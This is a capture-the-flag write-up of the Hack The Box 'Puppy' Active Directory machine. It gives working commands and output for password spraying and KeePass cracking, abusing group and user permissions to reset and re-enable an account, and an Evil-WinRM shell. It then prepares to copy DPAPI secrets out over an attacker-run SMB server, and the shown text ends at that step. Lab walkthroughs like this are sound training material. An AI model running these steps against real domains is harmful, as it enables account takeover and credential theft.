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Puppy [Medium]

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By 2Fa0n
22 min read
Puppy [Medium]

Puppy HTB Season 8

Machine information

As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!.
Author: tr3nb0lone

Enumeration

Nmap

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└─$ sudo nmap -Pn -sC -sV 10.10.xx.xx    
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-18 10:31 EDT
Nmap scan report for 10.10.xx.xx
Host is up (0.19s latency).
Not shown: 985 filtered tcp ports (no-response)
Bug in iscsi-info: no string output.
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-18 21:11:31Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2049/tcp open  nlockmgr      1-4 (RPC #100021)
3260/tcp open  iscsi?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-05-18T21:13:26
|_  start_date: N/A
|_clock-skew: 6h39m13s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 234.96 seconds

Now let’s use crackmapexec to enumerate all the users in this domain.

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└─$ sudo crackmapexec smb 10.10.xx.xx -u levi.james -p 'KingofAkron2025!' --users   
SMB         10.10.xx.xx     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.10.xx.xx     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025! 
SMB         10.10.xx.xx     445    DC               [+] Enumerated domain user(s)
SMB         10.10.xx.xx     445    DC               PUPPY.HTB\steph.cooper_adm               badpwdcount: 4 desc: 
SMB         10.10.xx.xx     445    DC               PUPPY.HTB\steph.cooper                   badpwdcount: 0 desc: 
SMB         10.10.xx.xx     445    DC               PUPPY.HTB\jamie.williams                 badpwdcount: 4 desc: 
SMB         10.10.xx.xx     445    DC               PUPPY.HTB\adam.silver                    badpwdcount: 4 desc: 
SMB         10.10.xx.xx     445    DC               PUPPY.HTB\ant.edwards                    badpwdcount: 4 desc: 
SMB         10.10.xx.xx     445    DC               PUPPY.HTB\levi.james                     badpwdcount: 0 desc: 
SMB         10.10.xx.xx     445    DC               PUPPY.HTB\krbtgt                         badpwdcount: 24 desc: Key Distribution Center Service Account
SMB         10.10.xx.xx     445    DC               PUPPY.HTB\Guest                          badpwdcount: 24 desc: Built-in account for guest access to the computer/domain
SMB         10.10.xx.xx     445    DC               PUPPY.HTB\Administrator                  badpwdcount: 24 desc: Built-in account for administering the computer/domain

We have some users, let’s add them to the users.txt file and also add the domain to the /etc/hosts file.

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└─$ cat /etc/hosts                                    
<SNIP>
# HTB Labs
## DEPTHS Season 8
10.10.xx.xx     PUPPY.HTB DC.PUPPY.HTB

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└─$ cat users.txt 
Administrator
Guest
krbtgt
DC$
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm

Now we use smbmap to enumerate the shares.

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└─$ smbmap -H 10.10.xx.xx -u 'levi.james' -p 'KingofAkron2025!'

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                      
                                                                                                                             
[+] IP: 10.10.xx.xx:445 Name: PUPPY.HTB                 Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        DEV                                                     NO ACCESS       DEV-SHARE for PUPPY-DEVS
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        SYSVOL                                                  READ ONLY       Logon server share 
[*] Closed 1 connections

Look closure, we have a DEV share but our user does not have the access rights to it.
→ we need to enumerate the AD to get further information about the users and the groups.

Bloodhound

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└─$ bloodhound-python -dc DC.PUPPY.HTB -u 'levi.james' -p 'KingofAkron2025!' -d PUPPY.HTB -c All -o bloodhound_results.json -ns 10.10.xx.xx
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (DC.PUPPY.HTB:88)] [Errno 111] Connection refused
INFO: Connecting to LDAP server: DC.PUPPY.HTB
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC.PUPPY.HTB
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 33S

Now we can import the bloodhound_results*.json file into BloodHound and start investigating the graph.

BloodHound

BloodHound

So our account levi.james is a member of HR@PUPPY.HTB group and has GenericWrite permissions on the DEVLOPERS@PUPPY.HTB group.
→ We can add levi.james to the DEVLOPERS@PUPPY.HTB group and use it to access the DEV share.

There are two ways to do this:

  1. Use ldap-addusers-group which need to have modify.ldif file and then use ldapmodify to configure the changes.
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└─$ cat modify.ldif 
dn: CN=DEVELOPERS,DC=PUPPY,DC=HTB
changetype: modify
add: member
member: CN=Levi B. James,OU=MANPOWER,DC=PUPPY,DC=HTB

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└─$ ldapmodify -x -H ldap://10.10.xx.xx -D "levi.james@puppy.htb" -w 'KingofAkron2025!' -f modify.ldif
modifying entry "CN=DEVELOPERS,DC=PUPPY,DC=HTB"

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└─$ smbclient -U 'puppy.htb/levi.james%KingofAkron2025!' //10.10.xx.xx/DEV                            
Try "help" to get a list of possible commands.
smb: \> dir
  .                                  DR        0  Sun May 18 12:46:39 2025
  ..                                  D        0  Sat Mar  8 11:52:57 2025
  KeePassXC-2.7.9-Win64.msi           A 34394112  Sun Mar 23 03:09:12 2025
  Projects                            D        0  Sat Mar  8 11:53:36 2025
  recovery.kdbx                       A     2677  Tue Mar 11 22:25:46 2025

                5080575 blocks of size 4096. 1522760 blocks available
smb: \>

→ We can access the DEV share and read stuffs inside.

  1. Use bloodyAD to add the user to the group.
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└─$ bloodyAD --host 10.10.xx.xx -d PUPPY.HTB -u 'levi.james' -p 'KingofAkron2025!' add groupMember DEVELOPERS levi.james
[+] levi.james added to DEVELOPERS

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└─$ smbmap -H 10.10.xx.xx -u 'levi.james' -p 'KingofAkron2025!'           

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          
                                                                                                                             
[+] IP: 10.10.xx.xx:445 Name: PUPPY.HTB                 Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        DEV                                                     READ ONLY       DEV-SHARE for PUPPY-DEVS
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        SYSVOL                                                  READ ONLY       Logon server share 
[*] Closed 1 connections

→ Can access the DEV share and read it.

Initial Access

Discovery and Cracking

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smb: \> get recovery.kdbx 
getting file \recovery.kdbx of size 2677 as recovery.kdbx (3.8 KiloBytes/sec) (average 3.8 KiloBytes/sec)

→ We can download the recovery.kdbx file and try to crack it.

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└─$ keepass2john recovery.kdbx > recovery.hash            
! recovery.kdbx : File version '40000' is currently not supported!

So I search google for kdbx crack and found this keepass4brute tool.

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└─$ wget https://github.com/r3nt0n/keepass4brute/raw/refs/heads/master/keepass4brute.sh

And crack with rockyou.txt wordlist.

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└─$ ./keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt 
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute

[+] Words tested: 36/14344392 - Attempts per minute: 27 - Estimated time remaining: 52 weeks, 4 days
[+] Current attempt: liverxxxx

[*] Password found: liverxxxx

Got the password liverxxxx, now use keepassxc to export file to xml format.

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└─$ keepassxc-cli export --format=xml recovery.kdbx > keepass_dump.xml                                
Enter password to unlock recovery.kdbx:

keepass_dump

When cat out the keepass_dump.xml file, we gather some credentials.

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└─$ cat passwords_recovery.txt 
JamieLove2025!
HJKL2025!
Antman2025!
Steve2025!
ILY2025!

Let’s use crackmapexec to password spray the users.

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└─$ sudo crackmapexec smb 10.10.xx.xx -u users.txt -p passwords_recovery.txt --continue-on-success
SMB         10.10.xx.xx     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\Administrator:JamieLove2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\Administrator:HJKL2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\Administrator:Antman2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\Administrator:Steve2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\Administrator:ILY2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\Guest:JamieLove2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\Guest:HJKL2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\Guest:Antman2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\Guest:Steve2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\Guest:ILY2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\krbtgt:JamieLove2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\krbtgt:HJKL2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\krbtgt:Antman2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\krbtgt:Steve2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\krbtgt:ILY2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\DC$:JamieLove2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\DC$:HJKL2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\DC$:Antman2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\DC$:Steve2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\DC$:ILY2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\levi.james:JamieLove2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\levi.james:HJKL2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\levi.james:Antman2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\levi.james:Steve2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\levi.james:ILY2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\ant.edwards:JamieLove2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\ant.edwards:HJKL2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [+] PUPPY.HTB\ant.edwards:Antman2025! 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\ant.edwards:Steve2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\ant.edwards:ILY2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\adam.silver:JamieLove2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\adam.silver:HJKL2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\adam.silver:Antman2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\adam.silver:Steve2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\adam.silver:ILY2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\jamie.williams:JamieLove2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\jamie.williams:HJKL2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\jamie.williams:Antman2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\jamie.williams:Steve2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\jamie.williams:ILY2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\steph.cooper:JamieLove2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\steph.cooper:HJKL2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\steph.cooper:Antman2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\steph.cooper:Steve2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\steph.cooper:ILY2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\steph.cooper_adm:JamieLove2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\steph.cooper_adm:HJKL2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\steph.cooper_adm:Antman2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\steph.cooper_adm:Steve2025! STATUS_LOGON_FAILURE 
SMB         10.10.xx.xx     445    DC               [-] PUPPY.HTB\steph.cooper_adm:ILY2025! STATUS_LOGON_FAILURE

→ After spraying, there is only one valid credential ant.edwards:Antman2025!.

Let’s continue enumerate ant.edwards machine with further information through bloodhound.

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└─$ bloodhound-python -dc DC.PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' -d PUPPY.HTB -c All -o bloodhound_results.json -ns 10.10.xx.xx
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: DC.PUPPY.HTB
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC.PUPPY.HTB
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 39S

BloodHound

Import to BloodHound and start investigating the graph.

BloodHound

Found out that ant.edwards is a member of SENIOR DEVS@PUPPY.HTB group and has GenericAll to user ADAM.SILVER@PUPPY.HTB.

→ We can use ant.edwards to change the password of ADAM.SILVER@PUPPY.HTB and gain access to the machine.

There are some ways to do this:

  1. We can use bloodyAD to change the password of ADAM.SILVER@PUPPY.HTB.
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└─$ bloodyAD -u ant.edwards -p 'Antman2025!' -d puppy.htb --dc-ip 10.10.xx.xx set password adam.silver 'P@ssw4rd123'
[+] Password changed successfully!

Check again with crackmapexec to see if we can access the machine.

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└─$ sudo crackmapexec smb PUPPY.HTB -u 'ADAM.SILVER' -p 'P@ssw4rd123'
SMB         PUPPY.HTB       445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         PUPPY.HTB       445    DC               [-] PUPPY.HTB\ADAM.SILVER:P@ssw4rd123 STATUS_ACCOUNT_DISABLED

We got STATUS_ACCOUNT_DISABLED error, we need to activate it again.

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└─$ bloodyAD --host DC.PUPPY.HTB -d PUPPY.HTB -u ant.edwards -p 'Antman2025!' remove uac adam.silver -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl

And also need to modified modify.ldif again and use ldapmodify to mofidy the entry.

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└─$ cat modify.ldif 
dn: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
changetype: modify
replace: userAccountControl
userAccountControl: 512

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└─$ ldapmodify -x -H ldap://10.10.xx.xx -D "ant.edwards@puppy.htb" -w 'Antman2025!' -f modify.ldif
modifying entry "CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB"

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└─$ sudo crackmapexec smb PUPPY.HTB -u 'ADAM.SILVER' -p 'P@ssw4rd123'                                                 
SMB         PUPPY.HTB       445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         PUPPY.HTB       445    DC               [+] PUPPY.HTB\ADAM.SILVER:P@ssw4rd123

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└─$ sudo crackmapexec winrm 10.10.xx.xx -u 'ADAM.SILVER' -p 'P@ssw4rd123' -d PUPPY.HTB            
HTTP        10.10.xx.xx     5985   10.10.xx.xx      [*] http://10.10.xx.xx:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.10.xx.xx     5985   10.10.xx.xx      [+] PUPPY.HTB\ADAM.SILVER:P@ssw4rd123 (Pwn3d!)

→ Confirm that we can change the password of ADAM.SILVER user and success Pwn3d!.

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└─$ evil-winrm -i 10.10.xx.xx -u 'ADAM.SILVER' -p 'P@ssw4rd123'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents>
  1. Another approach can use ForceChangePassword through rpc.
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└─$ net rpc password 'adam.silver' 'P@ssw4rd123' -U 'PUPPY.HTB'/'ant.edwards'%'Antman2025!' -S '10.10.xx.xx'

or we can use rpcclient.

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└─$ rpcclient -U 'puppy.htb\Ant.Edwards%Antman2025!' 10.10.xx.xx
rpcclient $> setuserinfo adam.silver 23 P@ssw4rd123
rpcclient $>

After evil-winrm login, we can found the user.txt flag.

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*Evil-WinRM* PS C:\Users\adam.silver\Desktop> dir


    Directory: C:\Users\adam.silver\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         2/28/2025  12:31 PM           2312 Microsoft Edge.lnk
-ar---         5/19/2025   6:52 PM             34 user.txt


*Evil-WinRM* PS C:\Users\adam.silver\Desktop> type user.txt
79afddxxxxxxxxxxxxxxxxxxxxxxxxxx

Let’s continue discover to find the root.txt flag.

Privilege Escalation

So let’s do the BloodHound again on adam.silver account.

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└─$ bloodhound-python -dc DC.PUPPY.HTB -u 'adam.silver' -p 'P@ssw4rd123' -d PUPPY.HTB -c All -o bloodhound_results.json -ns 10.10.xx.xx
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: DC.PUPPY.HTB
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC.PUPPY.HTB
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 38S

BloodHound

Import to BloodHound again and start investigating the graph again.

BloodHound

Hmm, Kinda stuck here. Okay let’s go through adam.silver machine to look for some interesting stuffs.

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*Evil-WinRM* PS C:\Backups> dir


    Directory: C:\Backups


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip


*Evil-WinRM* PS C:\Backups> download site-backup-2024-12-30.zip
                                        
Info: Downloading C:\Backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip
                                        
Info: Download successful!

We found a site-backup-2024-12-30.zip file, download and check inside.

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└─$ tree .                        
.
├── assets
│   ├── css
│   │   ├── fontawesome-all.min.css
│   │   ├── images
│   │   │   ├── highlight.png
│   │   │   └── overlay.png
│   │   └── main.css
│   ├── js
│   │   ├── breakpoints.min.js
│   │   ├── browser.min.js
│   │   ├── jquery.dropotron.min.js
│   │   ├── jquery.min.js
│   │   ├── jquery.scrolly.min.js
│   │   ├── main.js
│   │   └── util.js
│   ├── sass
│   │   ├── libs
│   │   │   ├── _breakpoints.scss
│   │   │   ├── _functions.scss
│   │   │   ├── _html-grid.scss
│   │   │   ├── _mixins.scss
│   │   │   ├── _vars.scss
│   │   │   └── _vendor.scss
│   │   └── main.scss
│   └── webfonts
│       ├── fa-brands-400.eot
│       ├── fa-brands-400.svg
│       ├── fa-brands-400.ttf
│       ├── fa-brands-400.woff
│       ├── fa-brands-400.woff2
│       ├── fa-regular-400.eot
│       ├── fa-regular-400.svg
│       ├── fa-regular-400.ttf
│       ├── fa-regular-400.woff
│       ├── fa-regular-400.woff2
│       ├── fa-solid-900.eot
│       ├── fa-solid-900.svg
│       ├── fa-solid-900.ttf
│       ├── fa-solid-900.woff
│       └── fa-solid-900.woff2
├── images
│   ├── adam.jpg
│   ├── antony.jpg
│   ├── banner.jpg
│   ├── jamie.jpg
│   └── Levi.jpg
├── index.html
└── nms-auth-config.xml.bak

9 directories, 40 files

Hmm, nms-auth-config.xml.bak file looks interesting, let’s cat it out.

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└─$ cat nms-auth-config.xml.bak 
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefStephxxxxx</bind-password>
    </server>
    <user-attributes>
        <attribute name="username" ldap-attribute="uid" />
        <attribute name="firstName" ldap-attribute="givenName" />
        <attribute name="lastName" ldap-attribute="sn" />
        <attribute name="email" ldap-attribute="mail" />
    </user-attributes>
    <group-attributes>
        <attribute name="groupName" ldap-attribute="cn" />
        <attribute name="groupMember" ldap-attribute="member" />
    </group-attributes>
    <search-filter>
        <filter>(&(objectClass=person)(uid=%s))</filter>
    </search-filter>
</ldap-config>

Okay, found another credential ChefStephxxxxx and we can use it to login to steph.cooper account.

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└─$ evil-winrm -i 10.10.xx.xx -u steph.cooper -p 'ChefStephxxxxx' 
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper\Documents>

→ Success login :D.

So we are inside DC.PUPPY.HTB machine, let’s look for dpapi-protected-secrets and then use dpapi.py to extract the credentials.

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*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect> dir


    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d---s-         2/23/2025   2:36 PM                S-1-5-21-1487982659-1829050783-2281216199-1107
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> cmd /c dir /a
 Volume in drive C has no label.
 Volume Serial Number is 311D-593C

 Directory of C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107

02/23/2025  03:36 PM    <DIR>          .
03/08/2025  08:40 AM    <DIR>          ..
03/08/2025  08:40 AM               740 556a2412-1275-4ccf-b721-e6a0b4f90407
02/23/2025  03:36 PM                24 Preferred
               2 File(s)            764 bytes
               2 Dir(s)   6,164,828,160 bytes free

Got the master key 556a2412-1275-4ccf-b721-e6a0b4f90407, put that aside and DPAPI-protected data.

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*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> cmd /c dir /a
 Volume in drive C has no label.
 Volume Serial Number is 311D-593C

 Directory of C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials

03/08/2025  08:53 AM    <DIR>          .
03/08/2025  08:40 AM    <DIR>          ..
03/08/2025  08:54 AM               414 C8D69EBE9A43E9DEBF6B5FBD48B521B9
               1 File(s)            414 bytes
               2 Dir(s)   6,166,650,880 bytes free

Found a C8D69EBE9A43E9DEBF6B5FBD48B521B9 file.
In order to transfer the master key and DPAPI-protected data to our attacking machine, we use impacket-smbserver to transfer the files.

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└─$ sudo impacket-smbserver share ./ -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.xx.xx,53298)
[*] AUTHENTICATE_MESSAGE (\,DC)
[*] User DC\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:share)
[*] Disconnecting Share(1:share)
[*] Closing down connection (10.10.xx.xx,53298)
[*] Remaining connections []

